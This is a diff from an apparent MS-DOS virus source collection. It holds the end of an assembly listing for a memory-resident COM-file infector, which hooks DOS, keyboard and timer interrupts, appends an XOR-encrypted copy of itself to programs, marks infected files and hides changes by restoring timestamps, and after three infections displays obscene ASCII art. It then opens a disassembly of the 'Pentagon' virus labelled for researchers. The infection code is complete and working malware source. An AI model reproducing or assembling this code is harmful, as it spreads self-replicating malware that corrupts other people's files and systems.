||||
;***************************************************************************
|
||||
|
||||
data DB 'Ü',4,'Ü',4,'Ü',4,'Ü',4,' ',4,' ',15,'Ü',4,' ',15,' '
|
||||
DB 15,' ',15,' ',15,'Ü',4,'Ü',4,'Ü',4,'Ü',4,' ',15,'Ü',4
|
||||
DB 'Ü',4,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'Ü',4
|
||||
DB 'Ü',4,' ',15,' ',15,'Ü',4,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,'Ü',4,' ',15,'Ü',4,'Ü',4,'Ü',4,'Ü',4,'Û',64,'Û'
|
||||
DB 64,' ',15,' ',0,' ',0,' ',0,' ',15,' ',0,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',64,' ',15,' ',15,' ',15
|
||||
DB ' ',64,'Û',64,' ',64,' ',15,' ',15,' ',15,' ',15,' ',64
|
||||
DB ' ',15,' ',15,' ',64,' ',15,' ',15,' ',64,'Ü',4,' ',15
|
||||
DB ' ',15,' ',15,' ',15,'Ü',4,' ',64,' ',4,' ',15,' ',15
|
||||
DB 'Û',4,'Û',4,'Ü',4,' ',15,'Û',64,' ',64,'Û',4,' ',15,'Û'
|
||||
DB 4,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' '
|
||||
DB 0,' ',0,' ',15,' ',0,' ',15,' ',15,' ',15,' ',15,' ',0
|
||||
DB ' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',64,'Ü',64,'Ü',64,'Ü',64,'ß',64,'Û',64,' '
|
||||
DB 64,' ',15,' ',15,' ',15,' ',15,' ',64,' ',15,' ',15,' '
|
||||
DB 64,' ',15,' ',15,' ',15,' ',64,'Ü',4,' ',64,' ',64,'ß'
|
||||
DB 64,' ',64,' ',4,' ',15,' ',15,' ',15,'Û',4,' ',15,'Û'
|
||||
DB 4,'Ü',4,'Û',4,' ',15,'Û',4,' ',15,'Û',4,'Ü',64,'Ü',64
|
||||
DB 'Û',64,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15,' '
|
||||
DB 0,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
|
||||
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',64,'Ü',4
|
||||
DB 'Ü',4,'Ü',4,'Ü',64,' ',15,' ',64,'Ü',4,'Ü',4,'Ü',4,' '
|
||||
DB 15,' ',64,'Ü',4,'Ü',4,' ',64,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',64,' ',15,' ',15,' ',64,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,'Û',4,' ',15,' ',15,'ß',4,' ',15,' ',15,'Û'
|
||||
DB 4,' ',15,'Û',4,'Ü',4,'Ü',4,'Ü',4,'Û',64,'Û',64,' ',15
|
||||
DB ' ',0,' ',0,' ',0,' ',15,' ',0,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'Û',96,'ß',96
|
||||
DB 'ß',96,'ß',96,'Û',96,'Û',96,'Û',96,'Û',96,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',0,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',96,' ',96,' ',96,' ',96,' ',103,' ',103
|
||||
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
|
||||
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
|
||||
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
|
||||
DB ' ',103,' ',103,'±',96,'°',96,'°',96,' ',96,'ß',96,'Û'
|
||||
DB 96,'Û',96,'Û',96,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'Ü'
|
||||
DB 15,'Ü',15,'Ü',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',96,' ',96,' ',96
|
||||
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
|
||||
DB ' ',96,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
|
||||
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
|
||||
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,'±',96
|
||||
DB '±',96,'°',96,'°',96,' ',96,'Û',96,'Û',96,'Ü',15,'Ü',15
|
||||
DB 'Ü',15,'Û',15,'Û',15,'Û',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB 'Û',15,'Û',15,'Û',15,'Û',15,'Û',15,'Û',15,'Û',15,' ',15
|
||||
DB ' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',96,' ',96,' ',96,' ',96,' ',103,' ',103,'Ä',96
|
||||
DB 'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96
|
||||
DB 'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96
|
||||
DB 'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96
|
||||
DB '±',96,'±',96,'°',96,'°',96,' ',96,'Û',96,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,'ß',15,'ß',15,'ß',15,' ',15,' ',15
|
||||
DB ' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',96,' ',103,' ',103,' ',96,' ',96,' ',103,'ß',96
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,'Ü',96,'Ü',96,'Ü',96,'Û',96,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',103,' ',103,' ',103,'°',96,'°',96,'°',96,' '
|
||||
DB 103,'ß',96,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',103,' ',103,'°',96,'°',96,'°',96,'°',96,' ',103
|
||||
DB 'Ü',96,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',103,'°',96,'°',96,'°',96,'°',96,' ',103,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,'Ü',96,' ',103,' ',103,' ',103,'Ü',96,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' ',0
|
||||
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
|
||||
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
|
||||
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
|
||||
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
|
||||
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
|
||||
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
doggie DB 15,'Y',15,'O',15,'U',15,'R',15,' ',15,'F',15,'I',15,'L',15,'E'
|
||||
DB 15,' ',15,'H',15,'A',15,'S',15,' ',15,'J',15,'U',15,'S',15,'T'
|
||||
DB 15,' ',15,'B',15,'E',15,' ',15,'P',15,'E',15,'N',15,'I',15,'S'
|
||||
DB 15,'`',15,'I',15,'Z',15,'E',15,'D',15,' ',15,'C',15,'O',15,'M'
|
||||
DB 15,'P',15,'L',15,'E',15,'M',15,'E',15,'N',15,'T',15,'S',15,' '
|
||||
DB 15,'O',15,'F',15,' ',15,' ',15,' '
|
||||
DB 0,' ',0,' ',15,' ',15,' ',15,' '
|
||||
DB 03,'[',03,'Y',03,'A',03,'M'
|
||||
DB 03,']',03,'/',03,'9',03,'2'
|
||||
DB 03,' ',02,'-',04,'S',04,'.',04,'G',04,'R',04,'I',04,'S',04,'S'
|
||||
DB 04,' ',0,' ',0,' ',0,' ',0,' ',0
|
||||
DB ' ',0,' ',0,' ',0,' ',0,' ',0
|
||||
;Actual program begins here
|
||||
|
||||
exec:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push si
|
||||
push ds
|
||||
push es
|
||||
|
||||
|
||||
mov ax,4300h ;get file attributes
|
||||
int 21h
|
||||
jc long_cock
|
||||
|
||||
and cl,0feh ;make it read/write
|
||||
mov ax,4301h
|
||||
int 21h
|
||||
jc long_cock
|
||||
|
||||
|
||||
|
||||
infect:
|
||||
mov ax,3d02h
|
||||
int 21h
|
||||
jc long_cock
|
||||
|
||||
|
||||
mov bx,ax
|
||||
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3fh
|
||||
mov cx,5h
|
||||
mov dx,(buffer-vstart) ;load in the first 5 bytes
|
||||
int 21h
|
||||
jc long_cock
|
||||
|
||||
|
||||
cmp word ptr cs:[(buffer-vstart)],5A4Dh ;check to see if its an
|
||||
je long_cock ;EXE
|
||||
|
||||
cmp word ptr cs:[(buffer-vstart)+3],42F2h
|
||||
je long_cock ;Check to see if F242 tag
|
||||
;if so then its infected
|
||||
jmp next
|
||||
|
||||
long_cock:
|
||||
jmp cocker2
|
||||
|
||||
next:
|
||||
|
||||
mov ax,5700h
|
||||
int 21h
|
||||
|
||||
mov word ptr cs:[(old_time-vstart)],cx ;get the files time
|
||||
mov word ptr cs:[(old_date-vstart)],dx ;and date
|
||||
|
||||
mov ax,4202h ;move file pointer to end
|
||||
xor cx,cx ;top get the files size
|
||||
xor dx,dx
|
||||
int 21h
|
||||
jc long_cock
|
||||
mov cx,ax
|
||||
sub cx,3 ;sub 3 form jump at begining
|
||||
mov word ptr cs:[(jump_add+1-vstart)],cx;save length in jmp commmand
|
||||
|
||||
|
||||
mov cx,(old_21-old_8) ;number of bytes to encrypt before writing
|
||||
mov si,(old_8-vstart)
|
||||
call crypter
|
||||
|
||||
mov cx,(exec-data)
|
||||
mov si,(data-vstart)
|
||||
call crypter
|
||||
|
||||
|
||||
|
||||
mov ah,byte ptr cs:[(infect_times-vstart)]
|
||||
mov byte ptr cs:[(infect_times-vstart)],00h
|
||||
push ax
|
||||
|
||||
mov cx,(vend-vstart) ;write the virus to the end
|
||||
mov ah,40h ;of the file
|
||||
xor dx,dx
|
||||
int 21h
|
||||
jc cocker
|
||||
|
||||
pop ax
|
||||
inc ah
|
||||
mov byte ptr cs:[(infect_times-vstart)],ah ;counter
|
||||
|
||||
|
||||
mov cx,(exec-data)
|
||||
mov si,(data-vstart) ;decrypt data
|
||||
call crypter
|
||||
|
||||
mov cx,(old_21-old_8) ;number of bytes to decrypt after writing
|
||||
mov si,(old_8-vstart)
|
||||
call crypter
|
||||
|
||||
|
||||
mov ax,4200h ;move file pointer to the
|
||||
xor cx,cx ;begining to write the JMP
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
|
||||
mov cx,5
|
||||
mov ah,40h ;write the JMP top the file
|
||||
mov dx,(jump_add-vstart)
|
||||
int 21h
|
||||
|
||||
jc cocker
|
||||
|
||||
mov ax,5701h
|
||||
mov word ptr cx,cs:[(old_time-vstart)] ;Restore old time,date
|
||||
mov word ptr dx,cs:[(old_date-vstart)]
|
||||
|
||||
and cl,0e0H
|
||||
inc cl ;change seconds to 2
|
||||
int 21h
|
||||
|
||||
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
|
||||
|
||||
jmp show_dick
|
||||
cocker: jmp cocker2
|
||||
|
||||
|
||||
show_dick:
|
||||
|
||||
cmp byte ptr cs:[(infect_times-vstart)],03h
|
||||
jl cocker
|
||||
|
||||
|
||||
|
||||
mov ah,0fh ;get current video mode
|
||||
int 010h
|
||||
cmp al,7 ;is it a monochrome mode?
|
||||
jz mono ;yes
|
||||
mov ax,0B800h ;color text video segment
|
||||
jmp SHORT doit
|
||||
mono: mov ax, 0B000h ;monochrome text video segment
|
||||
doit: mov es,ax
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov si,data-vstart ;load destination offset
|
||||
xor di,di ;clear destination index counter
|
||||
mov cx,(exec-data+1)/2
|
||||
rep movsw ;write to video memory
|
||||
|
||||
mov ah,02h ;hide cursor
|
||||
mov bh,0 ;assume video page 0
|
||||
mov dx,1A00h ;moves cursor past bottom of screen
|
||||
int 010h
|
||||
|
||||
|
||||
lup: mov ah, 01h
|
||||
int 016h
|
||||
jz lup
|
||||
mov ah,0
|
||||
int 016h
|
||||
|
||||
;Clear the screen
|
||||
mov ah, 6 ;function 6 (scroll window up)
|
||||
mov al, 0 ;blank entire screen
|
||||
mov bh, 7 ;attribute to use
|
||||
mov ch, 0 ;starting row
|
||||
mov cl, 0 ;starting column
|
||||
mov dh, 25 ;ending row
|
||||
mov dl, 80 ;ending column
|
||||
int 10h ;call interrupt 10h
|
||||
|
||||
mov ah,02h ;puts cursor back where it belongs
|
||||
mov bh,0 ;assume video page 0
|
||||
mov dx,0
|
||||
int 010h
|
||||
|
||||
|
||||
|
||||
cocker2:pop ds
|
||||
pop es
|
||||
pop ds
|
||||
pop si ;go back to old int 21
|
||||
pop di
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
jmp dword ptr cs:[(old_21-vstart)]
|
||||
|
||||
old_date dw 0
|
||||
old_time dw 0
|
||||
|
||||
|
||||
buffer: db 0cdh,20h,00
|
||||
buffer2 db 0,0
|
||||
infect_times: DB 0h
|
||||
jump_add: db 0E9h,00,00,0F2h,42h;
|
||||
|
||||
;***********************************************************************
|
||||
;***********************************************************************
|
||||
;***********************************************************************
|
||||
;***********************************************************************
|
||||
;***********************************************************************
|
||||
|
||||
exit2: jmp exit
|
||||
crypter:
|
||||
push ax ;Encryptor Routine
|
||||
loo: mov ah,byte ptr cs:[si] ;move byte into ah
|
||||
xor ah,0AAh ;Xor it
|
||||
mov byte ptr cs:[si],ah ;write it back
|
||||
inc si
|
||||
loop loo
|
||||
pop ax
|
||||
ret
|
||||
|
||||
|
||||
load: mov ax,0f242h ; Check to see if we are
|
||||
int 21h ; allready resident
|
||||
cmp bx,0242fh ; looking for f242 tag
|
||||
je exit2
|
||||
|
||||
|
||||
mov cx,(old_21-old_9) ;number of bytes to decrypt
|
||||
mov si,offset old_9
|
||||
add si,bp
|
||||
call crypter
|
||||
|
||||
mov cx,(exec-data) ;number of bytes to decrypt
|
||||
mov si,offset data
|
||||
add si,bp
|
||||
call crypter
|
||||
|
||||
|
||||
dec_here:
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,49h ;Release current Memory block
|
||||
int 21h
|
||||
|
||||
mov ah,48h ;Request Hugh size of memory
|
||||
mov bx,0ffffh ;returns biggest size
|
||||
int 21h
|
||||
|
||||
|
||||
mov ah,4ah
|
||||
sub bx,(vend-vstart+15)/16+1 ;subtract virus size
|
||||
jc exit2
|
||||
int 21h
|
||||
|
||||
|
||||
mov ah,48h
|
||||
mov bx,(vend-vstart+15)/16 ;request last XXX pages
|
||||
int 21h ;allocate it to virus
|
||||
jc exit2
|
||||
|
||||
dec ax
|
||||
|
||||
push es
|
||||
|
||||
mov es,ax
|
||||
|
||||
mov byte ptr es:[0],'Z' ;make DOS the owner
|
||||
mov word ptr es:[1],8
|
||||
mov word ptr es:[3],(vend-vstart+15)/16 ;put size here
|
||||
sub word ptr es:[12h],(vend-vstart+15)/16 ;sub size from current
|
||||
;memory
|
||||
inc ax
|
||||
|
||||
|
||||
lea si,[bp+offset vstart] ;copy it to new memory block
|
||||
xor di,di
|
||||
mov es,ax
|
||||
mov cx,(vend-vstart+5)/2
|
||||
cld
|
||||
rep movsw
|
||||
|
||||
|
||||
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
push ds
|
||||
lds ax,ds:[21h*4] ;swap vectors manually
|
||||
mov word ptr es:[old_21-vstart],ax
|
||||
mov word ptr es:[old_21-vstart+2],ds
|
||||
pop ds
|
||||
mov word ptr ds:[21h*4],(new_21-vstart)
|
||||
mov ds:[21h*4+2],es
|
||||
|
||||
|
||||
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
push ds
|
||||
lds ax,ds:[9h*4]
|
||||
mov word ptr es:[old_9-vstart],ax
|
||||
mov word ptr es:[old_9-vstart+2],ds
|
||||
pop ds
|
||||
mov word ptr ds:[9h*4],(new_9-vstart)
|
||||
mov ds:[9h*4+2],es
|
||||
|
||||
|
||||
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
push ds
|
||||
lds ax,ds:[8h*4]
|
||||
mov word ptr es:[old_8-vstart],ax
|
||||
mov word ptr es:[old_8-vstart+2],ds
|
||||
pop ds
|
||||
mov word ptr ds:[8h*4],(new_8-vstart)
|
||||
mov ds:[8h*4+2],es
|
||||
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
|
||||
exit:
|
||||
push cs
|
||||
pop es
|
||||
|
||||
|
||||
; now got to copy it back......
|
||||
|
||||
|
||||
mov cx,5
|
||||
mov si,offset buffer ;copy it back and run original
|
||||
add si,bp ;program
|
||||
mov di,100h
|
||||
repne movsb
|
||||
|
||||
mov bp,100h
|
||||
jmp bp
|
||||
|
||||
|
||||
vend equ $
|
||||
|
||||
seg_a ends
|
||||
end start
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
989
MSDOS/Virus.MSDOS.Unknown.pentagon.asm
Normal file
989
MSDOS/Virus.MSDOS.Unknown.pentagon.asm
Normal file
@ -0,0 +1,989 @@
|
||||
;****************************************************************************;
|
||||
; ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] For All Your H/P/A/V Files [=- ;
|
||||
; -=] SysOp: Peter Venkman [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; ;
|
||||
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
||||
; ;
|
||||
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
||||
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
||||
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
||||
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
||||
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
||||
; Is. Keep This Code in Responsible Hands! ;
|
||||
; ;
|
||||
;****************************************************************************;
|
||||
page 65,132
|
||||
title The 'Pentagon' Virus
|
||||
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
; º British Computer Virus Research Centre º
|
||||
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
|
||||
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
|
||||
; º º
|
||||
; º The 'Pentagon' Virus º
|
||||
; º Disassembled by Joe Hirst, March 1989 º
|
||||
; º º
|
||||
; º Copyright (c) Joe Hirst 1989. º
|
||||
; º º
|
||||
; º This listing is only to be made available to virus researchers º
|
||||
; º or software writers on a need-to-know basis. º
|
||||
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
|
||||
; The disassembly has been tested by re-assembly using MASM 5.0.
|
||||
|
||||
; The code section between offsets 59H and C4H (which is normally
|
||||
; encrypted) appears to have been separately assemblied using A86.
|
||||
|
||||
; Virus is possibly an honorary term, at least for this sample,
|
||||
; as all attempts to run it have so far failed.
|
||||
|
||||
; This virus consists of a boot sector and two files.
|
||||
